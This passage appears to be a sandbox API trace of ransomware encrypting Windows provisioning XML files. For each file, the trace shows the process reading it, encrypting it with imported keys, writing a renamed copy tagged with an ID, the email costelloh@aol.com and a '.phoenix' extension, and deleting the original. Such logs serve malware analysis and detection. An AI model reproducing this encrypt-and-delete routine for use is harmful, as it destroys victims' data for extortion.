	[0257.880] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.880] CryptDestroyKey (hKey=0x151340) returned 1
	[0257.880] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.880] CryptDestroyKey (hKey=0x151040) returned 1
	[0257.880] CloseHandle (hObject=0x2c0) returned 1
	[0257.880] CloseHandle (hObject=0x2d0) returned 1
	[0257.880] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.882] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.882] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.883] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=837) returned 1
	[0257.883] CloseHandle (hObject=0x2d0) returned 1
	[0257.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.883] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.883] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.883] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.883] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.884] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0257.884] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.884] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x345, lpOverlapped=0x0) returned 1
	[0257.886] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0257.886] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0257.887] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0257.887] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.887] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.887] CryptDestroyKey (hKey=0x151040) returned 1
	[0257.887] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.888] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.888] CloseHandle (hObject=0x2d0) returned 1
	[0257.888] CloseHandle (hObject=0x2c0) returned 1
	[0257.888] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.889] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.889] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.890] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1002) returned 1
	[0257.890] CloseHandle (hObject=0x2c0) returned 1
	[0257.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.890] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.890] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.890] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.890] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.891] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0257.891] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.891] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x3ea, lpOverlapped=0x0) returned 1
	[0257.893] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x3f0, dwBufLen=0x3f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x3f0) returned 1
	[0257.893] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x3f0, lpOverlapped=0x0) returned 1
	[0257.894] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0257.894] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.894] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0257.894] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.894] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0257.894] CryptDestroyKey (hKey=0x151540) returned 1
	[0257.894] CloseHandle (hObject=0x2c0) returned 1
	[0257.894] CloseHandle (hObject=0x2d0) returned 1
	[0257.894] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.896] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.896] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.896] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=446) returned 1
	[0257.897] CloseHandle (hObject=0x2d0) returned 1
	[0257.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0257.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.897] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.897] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.897] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.897] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.898] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0257.898] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.898] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1be, lpOverlapped=0x0) returned 1
	[0257.899] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1c0, dwBufLen=0x1c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1c0) returned 1
	[0257.899] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1c0, lpOverlapped=0x0) returned 1
	[0257.900] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0257.901] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.901] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0257.901] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.901] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0257.901] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0257.901] CloseHandle (hObject=0x2d0) returned 1
	[0257.901] CloseHandle (hObject=0x2c0) returned 1
	[0257.901] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0257.902] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.902] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.903] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=720) returned 1
	[0257.903] CloseHandle (hObject=0x2c0) returned 1
	[0257.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.903] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.903] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.903] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.904] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.905] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0257.905] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.905] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.907] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0257.907] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0257.908] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1511c0) returned 1
	[0257.908] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.908] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0257.909] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0257.909] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0257.909] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.909] CloseHandle (hObject=0x2c0) returned 1
	[0257.909] CloseHandle (hObject=0x2d0) returned 1
	[0257.909] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.910] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.910] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.911] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=855) returned 1
	[0257.911] CloseHandle (hObject=0x2d0) returned 1
